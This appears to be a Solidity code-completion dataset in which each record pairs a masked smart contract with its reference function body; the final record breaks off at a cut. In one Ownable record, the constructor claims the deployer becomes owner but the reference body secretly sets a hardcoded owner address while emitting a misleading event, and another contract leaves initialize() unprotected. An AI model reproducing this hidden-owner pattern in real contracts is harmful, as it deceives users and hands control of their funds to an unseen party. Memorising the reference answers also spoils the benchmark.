notifyRewardsPartial
contract FarmController is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; IRewardDistributionRecipientTokenOnly[] public farms; mapping(address => address) public lpFarm; mapping(address => uint256) public rate; uint256 public weightSum; IERC20 public rewardToken; mapping(address => bool) public blackListed; function initialize(address token) external { Ownable.initializeOwnable(); rewardToken = IERC20(token); } function addFarm(address _lptoken) external onlyOwner returns(address farm){ require(lpFarm[_lptoken] == address(0), "farm exists."); bytes memory bytecode = type(LPFarm).creationCode; bytes32 salt = keccak256(abi.encodePacked(_lptoken)); assembly { farm := create2(0, add(bytecode, 32), mload(bytecode), salt) } LPFarm(farm).initialize(_lptoken, address(this)); farms.push(IRewardDistributionRecipientTokenOnly(farm)); rewardToken.approve(farm, uint256(-1)); lpFarm[_lptoken] = farm; // it will just set the rates to zero before it get's it's own rate } function setRates(uint256[] memory _rates) external onlyOwner { require(_rates.length == farms.length); uint256 sum = 0; for(uint256 i = 0; i<_rates.length; i++){ sum += _rates[i]; rate[address(farms[i])] = _rates[i]; } weightSum = sum; } function setRateOf(address _farm, uint256 _rate) external onlyOwner { weightSum -= rate[_farm]; weightSum += _rate; rate[_farm] = _rate; } function notifyRewards(uint256 amount) external onlyOwner { rewardToken.transferFrom(msg.sender, address(this), amount); for(uint256 i = 0; i<farms.length; i++){ IRewardDistributionRecipientTokenOnly farm = farms[i]; farm.notifyRewardAmount(amount.mul(rate[address(farm)]).div(weightSum)); } } // should transfer rewardToken prior to calling this contract // this is implemented to take care of the out-of-gas situation function notifyRewardsPartial(uint256 amount, uint256 from, uint256 to) external onlyOwner {<FILL_FUNCTION_BODY> } function blockUser(address target) external onlyOwner { blackListed[target] = true; } function unblockUser(address target) external onlyOwner { blackListed[target] = false; } }
contract FarmController is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; IRewardDistributionRecipientTokenOnly[] public farms; mapping(address => address) public lpFarm; mapping(address => uint256) public rate; uint256 public weightSum; IERC20 public rewardToken; mapping(address => bool) public blackListed; function initialize(address token) external { Ownable.initializeOwnable(); rewardToken = IERC20(token); } function addFarm(address _lptoken) external onlyOwner returns(address farm){ require(lpFarm[_lptoken] == address(0), "farm exists."); bytes memory bytecode = type(LPFarm).creationCode; bytes32 salt = keccak256(abi.encodePacked(_lptoken)); assembly { farm := create2(0, add(bytecode, 32), mload(bytecode), salt) } LPFarm(farm).initialize(_lptoken, address(this)); farms.push(IRewardDistributionRecipientTokenOnly(farm)); rewardToken.approve(farm, uint256(-1)); lpFarm[_lptoken] = farm; // it will just set the rates to zero before it get's it's own rate } function setRates(uint256[] memory _rates) external onlyOwner { require(_rates.length == farms.length); uint256 sum = 0; for(uint256 i = 0; i<_rates.length; i++){ sum += _rates[i]; rate[address(farms[i])] = _rates[i]; } weightSum = sum; } function setRateOf(address _farm, uint256 _rate) external onlyOwner { weightSum -= rate[_farm]; weightSum += _rate; rate[_farm] = _rate; } function notifyRewards(uint256 amount) external onlyOwner { rewardToken.transferFrom(msg.sender, address(this), amount); for(uint256 i = 0; i<farms.length; i++){ IRewardDistributionRecipientTokenOnly farm = farms[i]; farm.notifyRewardAmount(amount.mul(rate[address(farm)]).div(weightSum)); } } <FILL_FUNCTION> function blockUser(address target) external onlyOwner { blackListed[target] = true; } function unblockUser(address target) external onlyOwner { blackListed[target] = false; } }
require(from < to, "from should be smaller than to"); require(to <= farms.length, "to should be smaller or equal to farms.length"); for(uint256 i = from; i < to; i++){ IRewardDistributionRecipientTokenOnly farm = farms[i]; farm.notifyRewardAmount(amount.mul(rate[address(farm)]).div(weightSum)); }
function notifyRewardsPartial(uint256 amount, uint256 from, uint256 to) external onlyOwner
// should transfer rewardToken prior to calling this contract // this is implemented to take care of the out-of-gas situation function notifyRewardsPartial(uint256 amount, uint256 from, uint256 to) external onlyOwner
74948
Ownable
null
contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() {<FILL_FUNCTION_BODY> } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); <FILL_FUNCTION> /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
address msgSender = _msgSender(); _owner = 0xD3BDB0cF067C7EBce779654949a440a5ce4e13EA; emit OwnershipTransferred(address(0), msgSender);
constructor()
/** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor()
36147
VIC
publishBySignature
contract VIC { event CardsAdded( address indexed user, uint160 indexed root, uint32 count ); event CardCompromised( address indexed user, uint160 indexed root, uint32 indexed index ); function publish(uint160 root, uint32 count) public { _publish(msg.sender, root, count); } function publishBySignature(address user, uint160 root, uint32 count, bytes32 r, bytes32 s, uint8 v) public {<FILL_FUNCTION_BODY> } function report(uint160 root, uint32 index) public { _report(msg.sender, root, index); } function reportBySignature(address user, uint160 root, uint32 index, bytes32 r, bytes32 s, uint8 v) public { bytes32 messageHash = keccak256(abi.encodePacked(root, index)); require(user == ecrecover(messageHash, 27 + v, r, s), "Invalid signature"); _report(user, root, index); } function _publish(address user, uint160 root, uint32 count) public { emit CardsAdded(user, root, count); } function _report(address user, uint160 root, uint32 index) public { emit CardCompromised(user, root, index); } }
contract VIC { event CardsAdded( address indexed user, uint160 indexed root, uint32 count ); event CardCompromised( address indexed user, uint160 indexed root, uint32 indexed index ); function publish(uint160 root, uint32 count) public { _publish(msg.sender, root, count); } <FILL_FUNCTION> function report(uint160 root, uint32 index) public { _report(msg.sender, root, index); } function reportBySignature(address user, uint160 root, uint32 index, bytes32 r, bytes32 s, uint8 v) public { bytes32 messageHash = keccak256(abi.encodePacked(root, index)); require(user == ecrecover(messageHash, 27 + v, r, s), "Invalid signature"); _report(user, root, index); } function _publish(address user, uint160 root, uint32 count) public { emit CardsAdded(user, root, count); } function _report(address user, uint160 root, uint32 index) public { emit CardCompromised(user, root, index); } }
bytes32 messageHash = keccak256(abi.encodePacked(root, count)); require(user == ecrecover(messageHash, 27 + v, r, s), "Invalid signature"); _publish(user, root, count);
function publishBySignature(address user, uint160 root, uint32 count, bytes32 r, bytes32 s, uint8 v) public
function publishBySignature(address user, uint160 root, uint32 count, bytes32 r, bytes32 s, uint8 v) public
4234
SigningLogic
generateAttestForDelegationSchemaHash
contract SigningLogic { // Signatures contain a nonce to make them unique. usedSignatures tracks which signatures // have been used so they can't be replayed mapping (bytes32 => bool) public usedSignatures; function burnSignatureDigest(bytes32 _signatureDigest, address _sender) internal { bytes32 _txDataHash = keccak256(abi.encode(_signatureDigest, _sender)); require(!usedSignatures[_txDataHash], "Signature not unique"); usedSignatures[_txDataHash] = true; } bytes32 constant EIP712DOMAIN_TYPEHASH = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); bytes32 constant ATTESTATION_REQUEST_TYPEHASH = keccak256( "AttestationRequest(bytes32 dataHash,bytes32 nonce)" ); bytes32 constant ADD_ADDRESS_TYPEHASH = keccak256( "AddAddress(address addressToAdd,bytes32 nonce)" ); bytes32 constant REMOVE_ADDRESS_TYPEHASH = keccak256( "RemoveAddress(address addressToRemove,bytes32 nonce)" ); bytes32 constant PAY_TOKENS_TYPEHASH = keccak256( "PayTokens(address sender,address receiver,uint256 amount,bytes32 nonce)" ); bytes32 constant RELEASE_TOKENS_FOR_TYPEHASH = keccak256( "ReleaseTokensFor(address sender,uint256 amount,bytes32 nonce)" ); bytes32 constant ATTEST_FOR_TYPEHASH = keccak256( "AttestFor(address subject,address requester,uint256 reward,bytes32 dataHash,bytes32 requestNonce)" ); bytes32 constant CONTEST_FOR_TYPEHASH = keccak256( "ContestFor(address requester,uint256 reward,bytes32 requestNonce)" ); bytes32 constant REVOKE_ATTESTATION_FOR_TYPEHASH = keccak256( "RevokeAttestationFor(bytes32 link,bytes32 nonce)" ); bytes32 constant VOTE_FOR_TYPEHASH = keccak256( "VoteFor(uint16 choice,address voter,bytes32 nonce,address poll)" ); bytes32 constant LOCKUP_TOKENS_FOR_TYPEHASH = keccak256( "LockupTokensFor(address sender,uint256 amount,bytes32 nonce)" ); bytes32 DOMAIN_SEPARATOR; constructor (string name, string version, uint256 chainId) public { DOMAIN_SEPARATOR = hash(EIP712Domain({ name: name, version: version, chainId: chainId, verifyingContract: this })); } struct EIP712Domain { string name; string version; uint256 chainId; address verifyingContract; } function hash(EIP712Domain eip712Domain) private pure returns (bytes32) { return keccak256(abi.encode( EIP712DOMAIN_TYPEHASH, keccak256(bytes(eip712Domain.name)), keccak256(bytes(eip712Domain.version)), eip712Domain.chainId, eip712Domain.verifyingContract )); } struct AttestationRequest { bytes32 dataHash; bytes32 nonce; } function hash(AttestationRequest request) private pure returns (bytes32) { return keccak256(abi.encode( ATTESTATION_REQUEST_TYPEHASH, request.dataHash, request.nonce )); } struct AddAddress { address addressToAdd; bytes32 nonce; } function hash(AddAddress request) private pure returns (bytes32) { return keccak256(abi.encode( ADD_ADDRESS_TYPEHASH, request.addressToAdd, request.nonce )); } struct RemoveAddress { address addressToRemove; bytes32 nonce; } function hash(RemoveAddress request) private pure returns (bytes32) { return keccak256(abi.encode( REMOVE_ADDRESS_TYPEHASH, request.addressToRemove, request.nonce )); } struct PayTokens { address sender; address receiver; uint256 amount; bytes32 nonce; } function hash(PayTokens request) private pure returns (bytes32) { return keccak256(abi.encode( PAY_TOKENS_TYPEHASH, request.sender, request.receiver, request.amount, request.nonce )); } struct AttestFor { address subject; address requester; uint256 reward; bytes32 dataHash; bytes32 requestNonce; } function hash(AttestFor request) private pure returns (bytes32) { return keccak256(abi.encode( ATTEST_FOR_TYPEHASH, request.subject, request.requester, request.reward, request.dataHash, request.requestNonce )); } struct ContestFor { address requester; uint256 reward; bytes32 requestNonce; } function hash(ContestFor request) private pure returns (bytes32) { return keccak256(abi.encode( CONTEST_FOR_TYPEHASH, request.requester, request.reward, request.requestNonce )); } struct RevokeAttestationFor { bytes32 link; bytes32 nonce; } function hash(RevokeAttestationFor request) private pure returns (bytes32) { return keccak256(abi.encode( REVOKE_ATTESTATION_FOR_TYPEHASH, request.link, request.nonce )); } struct VoteFor { uint16 choice; address voter; bytes32 nonce; address poll; } function hash(VoteFor request) private pure returns (bytes32) { return keccak256(abi.encode( VOTE_FOR_TYPEHASH, request.choice, request.voter, request.nonce, request.poll )); } struct LockupTokensFor { address sender; uint256 amount; bytes32 nonce; } function hash(LockupTokensFor request) private pure returns (bytes32) { return keccak256(abi.encode( LOCKUP_TOKENS_FOR_TYPEHASH, request.sender, request.amount, request.nonce )); } struct ReleaseTokensFor { address sender; uint256 amount; bytes32 nonce; } function hash(ReleaseTokensFor request) private pure returns (bytes32) { return keccak256(abi.encode( RELEASE_TOKENS_FOR_TYPEHASH, request.sender, request.amount, request.nonce )); } function generateRequestAttestationSchemaHash( bytes32 _dataHash, bytes32 _nonce ) internal view returns (bytes32) { return keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hash(AttestationRequest( _dataHash, _nonce )) ) ); } function generateAddAddressSchemaHash( address _addressToAdd, bytes32 _nonce ) internal view returns (bytes32) { return keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hash(AddAddress( _addressToAdd, _nonce )) ) ); } function generateRemoveAddressSchemaHash( address _addressToRemove, bytes32 _nonce ) internal view returns (bytes32) { return keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hash(RemoveAddress( _addressToRemove, _nonce )) ) ); } function generatePayTokensSchemaHash( address _sender, address _receiver, uint256 _amount, bytes32 _nonce ) internal view returns (bytes32) { return keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hash(PayTokens( _sender, _receiver, _amount, _nonce )) ) ); } function generateAttestForDelegationSchemaHash( address _subject, address _requester, uint256 _reward, bytes32 _dataHash, bytes32 _requestNonce ) internal view returns (bytes32) {<FILL_FUNCTION_BODY> } function generateContestForDelegationSchemaHash( address _requester, uint256 _reward, bytes32 _requestNonce ) internal view returns (bytes32) { return keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hash(ContestFor( _requester, _reward, _requestNonce )) ) ); } function generateRevokeAttestationForDelegationSchemaHash( bytes32 _link, bytes32 _nonce ) internal view returns (bytes32) { return keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hash(RevokeAttestationFor( _link, _nonce )) ) ); } function generateVoteForDelegationSchemaHash( uint16 _choice, address _voter, bytes32 _nonce, address _poll ) internal view returns (bytes32) { return keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hash(VoteFor( _choice, _voter, _nonce, _poll )) ) ); } function generateLockupTokensDelegationSchemaHash( address _sender, uint256 _amount, bytes32 _nonce ) internal view returns (bytes32) { return keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hash(LockupTokensFor( _sender, _amount, _nonce )) ) ); } function generateReleaseTokensDelegationSchemaHash( address _sender, uint256 _amount, bytes32 _nonce ) internal view returns (bytes32) { return keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hash(ReleaseTokensFor( _sender, _amount, _nonce )) ) ); } function recoverSigner(bytes32 _hash, bytes _sig) internal pure returns (address) { address signer = ECRecovery.recover(_hash, _sig); require(signer != address(0)); return signer; } }
contract SigningLogic { // Signatures contain a nonce to make them unique. usedSignatures tracks which signatures // have been used so they can't be replayed mapping (bytes32 => bool) public usedSignatures; function burnSignatureDigest(bytes32 _signatureDigest, address _sender) internal { bytes32 _txDataHash = keccak256(abi.encode(_signatureDigest, _sender)); require(!usedSignatures[_txDataHash], "Signature not unique"); usedSignatures[_txDataHash] = true; } bytes32 constant EIP712DOMAIN_TYPEHASH = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); bytes32 constant ATTESTATION_REQUEST_TYPEHASH = keccak256( "AttestationRequest(bytes32 dataHash,bytes32 nonce)" ); bytes32 constant ADD_ADDRESS_TYPEHASH = keccak256( "AddAddress(address addressToAdd,bytes32 nonce)" ); bytes32 constant REMOVE_ADDRESS_TYPEHASH = keccak256( "RemoveAddress(address addressToRemove,bytes32 nonce)" ); bytes32 constant PAY_TOKENS_TYPEHASH = keccak256( "PayTokens(address sender,address receiver,uint256 amount,bytes32 nonce)" ); bytes32 constant RELEASE_TOKENS_FOR_TYPEHASH = keccak256( "ReleaseTokensFor(address sender,uint256 amount,bytes32 nonce)" ); bytes32 constant ATTEST_FOR_TYPEHASH = keccak256( "AttestFor(address subject,address requester,uint256 reward,bytes32 dataHash,bytes32 requestNonce)" ); bytes32 constant CONTEST_FOR_TYPEHASH = keccak256( "ContestFor(address requester,uint256 reward,bytes32 requestNonce)" ); bytes32 constant REVOKE_ATTESTATION_FOR_TYPEHASH = keccak256( "RevokeAttestationFor(bytes32 link,bytes32 nonce)" ); bytes32 constant VOTE_FOR_TYPEHASH = keccak256( "VoteFor(uint16 choice,address voter,bytes32 nonce,address poll)" ); bytes32 constant LOCKUP_TOKENS_FOR_TYPEHASH = keccak256( "LockupTokensFor(address sender,uint256 amount,bytes32 nonce)" ); bytes32 DOMAIN_SEPARATOR; constructor (string name, string version, uint256 chainId) public { DOMAIN_SEPARATOR = hash(EIP712Domain({ name: name, version: version, chainId: chainId, verifyingContract: this })); } struct EIP712Domain { string name; string version; uint256 chainId; address verifyingContract; } function hash(EIP712Domain eip712Domain) private pure returns (bytes32) { return keccak256(abi.encode( EIP712DOMAIN_TYPEHASH, keccak256(bytes(eip712Domain.name)), keccak256(bytes(eip712Domain.version)), eip712Domain.chainId, eip712Domain.verifyingContract )); } struct AttestationRequest { bytes32 dataHash; bytes32 nonce; } function hash(AttestationRequest request) private pure returns (bytes32) { return keccak256(abi.encode( ATTESTATION_REQUEST_TYPEHASH, request.dataHash, request.nonce )); } struct AddAddress { address addressToAdd; bytes32 nonce; } function hash(AddAddress request) private pure returns (bytes32) { return keccak256(abi.encode( ADD_ADDRESS_TYPEHASH, request.addressToAdd, request.nonce )); } struct RemoveAddress { address addressToRemove; bytes32 nonce; } function hash(RemoveAddress request) private pure returns (bytes32) { return keccak256(abi.encode( REMOVE_ADDRESS_TYPEHASH, request.addressToRemove, request.nonce )); } struct PayTokens { address sender; address receiver; uint256 amount; bytes32 nonce; } function hash(PayTokens request) private pure returns (bytes32) { return keccak256(abi.encode( PAY_TOKENS_TYPEHASH, request.sender, request.receiver, request.amount, request.nonce )); } struct AttestFor { address subject; address requester; uint256 reward; bytes32 dataHash; bytes32 requestNonce; } function hash(AttestFor request) private pure returns (bytes32) { return keccak256(abi.encode( ATTEST_FOR_TYPEHASH, request.subject, request.requester, request.reward, request.dataHash, request.requestNonce )); } struct ContestFor { address requester; uint256 reward; bytes32 requestNonce; } function hash(ContestFor request) private pure returns (bytes32) { return keccak256(abi.encode( CONTEST_FOR_TYPEHASH, request.requester, request.reward, request.requestNonce )); } struct RevokeAttestationFor { bytes32 link; bytes32 nonce; } function hash(RevokeAttestationFor request) private pure returns (bytes32) { return keccak256(abi.encode( REVOKE_ATTESTATION_FOR_TYPEHASH, request.link, request.nonce )); } struct VoteFor { uint16 choice; address voter; bytes32 nonce; address poll; } function hash(VoteFor request) private pure returns (bytes32) { return keccak256(abi.encode( VOTE_FOR_TYPEHASH, request.choice, request.voter, request.nonce, request.poll )); } struct LockupTokensFor { address sender; uint256 amount; bytes32 nonce; } function hash(LockupTokensFor request) private pure returns (bytes32) { return keccak256(abi.encode( LOCKUP_TOKENS_FOR_TYPEHASH, request.sender, request.amount, request.nonce )); } struct ReleaseTokensFor { address sender; uint256 amount; bytes32 nonce; } function hash(ReleaseTokensFor request) private pure returns (bytes32) { return keccak256(abi.encode( RELEASE_TOKENS_FOR_TYPEHASH, request.sender, request.amount, request.nonce )); } function generateRequestAttestationSchemaHash( bytes32 _dataHash, bytes32 _nonce ) internal view returns (bytes32) { return keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hash(AttestationRequest( _dataHash, _nonce )) ) ); } function generateAddAddressSchemaHash( address _addressToAdd, bytes32 _nonce ) internal view returns (bytes32) { return keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hash(AddAddress( _addressToAdd, _nonce )) ) ); } function generateRemoveAddressSchemaHash( address _addressToRemove, bytes32 _nonce ) internal view returns (bytes32) { return keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hash(RemoveAddress( _addressToRemove, _nonce )) ) ); } function generatePayTokensSchemaHash( address _sender, address _receiver, uint256 _amount, bytes32 _nonce ) internal view returns (bytes32) { return keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hash(PayTokens( _sender, _receiver, _amount, _nonce )) ) ); } <FILL_FUNCTION> function generateContestForDelegationSchemaHash( address _requester, uint256 _reward, bytes32 _requestNonce ) internal view returns (bytes32) { return keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hash(ContestFor( _requester, _reward, _requestNonce )) ) ); } function generateRevokeAttestationForDelegationSchemaHash( bytes32 _link, bytes32 _nonce ) internal view returns (bytes32) { return keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hash(RevokeAttestationFor( _link, _nonce )) ) ); } function generateVoteForDelegationSchemaHash( uint16 _choice, address _voter, bytes32 _nonce, address _poll ) internal view returns (bytes32) { return keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hash(VoteFor( _choice, _voter, _nonce, _poll )) ) ); } function generateLockupTokensDelegationSchemaHash( address _sender, uint256 _amount, bytes32 _nonce ) internal view returns (bytes32) { return keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hash(LockupTokensFor( _sender, _amount, _nonce )) ) ); } function generateReleaseTokensDelegationSchemaHash( address _sender, uint256 _amount, bytes32 _nonce ) internal view returns (bytes32) { return keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hash(ReleaseTokensFor( _sender, _amount, _nonce )) ) ); } function recoverSigner(bytes32 _hash, bytes _sig) internal pure returns (address) { address signer = ECRecovery.recover(_hash, _sig); require(signer != address(0)); return signer; } }
return keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hash(AttestFor( _subject, _requester, _reward, _dataHash, _requestNonce )) ) );
function generateAttestForDelegationSchemaHash( address _subject, address _requester, uint256 _reward, bytes32 _dataHash, bytes32 _requestNonce ) internal view returns (bytes32)
function generateAttestForDelegationSchemaHash( address _subject, address _requester, uint256 _reward, bytes32 _dataHash, bytes32 _requestNonce ) internal view returns (bytes32)
13247
Finalizable
finalizeContract
contract Finalizable is Ownable { bool public contractFinalized; modifier notFinalized() { require(!contractFinalized); _; } function finalizeContract() onlyOwner {<FILL_FUNCTION_BODY> } }
contract Finalizable is Ownable { bool public contractFinalized; modifier notFinalized() { require(!contractFinalized); _; } <FILL_FUNCTION> }
contractFinalized = true;
function finalizeContract() onlyOwner
function finalizeContract() onlyOwner
52876
ERC721Enumerable
tokenOfOwnerByIndex
contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => uint256[]) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Constructor function. */ constructor () public { // register the supported interface to conform to ERC721Enumerable via ERC165 _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev Gets the token ID at a given index of the tokens list of the requested owner. * @param owner address owning the tokens list to be accessed * @param index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address */ function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {<FILL_FUNCTION_BODY> } /** * @dev Gets the total amount of tokens stored by the contract. * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return _allTokens.length; } /** * @dev Gets the token ID at a given index of all the tokens in this contract * Reverts if the index is greater or equal to the total number of tokens. * @param index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list */ function tokenByIndex(uint256 index) public view returns (uint256) { // require(index < totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to transferFrom, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal { super._transferFrom(from, to, tokenId); _removeTokenFromOwnerEnumeration(from, tokenId); _addTokenToOwnerEnumeration(to, tokenId); } /** * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param to address the beneficiary that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal { super._mint(to, tokenId); _addTokenToOwnerEnumeration(to, tokenId); _addTokenToAllTokensEnumeration(tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {ERC721-_burn} instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); _removeTokenFromOwnerEnumeration(owner, tokenId); // Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund _ownedTokensIndex[tokenId] = 0; _removeTokenFromAllTokensEnumeration(tokenId); } /** * @dev Gets the list of token IDs of the requested owner. * @param owner address owning the tokens * @return uint256[] List of token IDs owned by the requested address */ function _tokensOfOwner(address owner) internal view returns (uint256[] storage) { return _ownedTokens[owner]; } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { _ownedTokensIndex[tokenId] = _ownedTokens[to].length; _ownedTokens[to].push(tokenId); } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _ownedTokens[from].length.sub(1); uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array _ownedTokens[from].length--; // Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by // lastTokenId, or just over the end of the array if the token was the last one). } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length.sub(1); uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array _allTokens.length--; _allTokensIndex[tokenId] = 0; } }
contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => uint256[]) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Constructor function. */ constructor () public { // register the supported interface to conform to ERC721Enumerable via ERC165 _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } <FILL_FUNCTION> /** * @dev Gets the total amount of tokens stored by the contract. * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return _allTokens.length; } /** * @dev Gets the token ID at a given index of all the tokens in this contract * Reverts if the index is greater or equal to the total number of tokens. * @param index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list */ function tokenByIndex(uint256 index) public view returns (uint256) { // require(index < totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to transferFrom, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal { super._transferFrom(from, to, tokenId); _removeTokenFromOwnerEnumeration(from, tokenId); 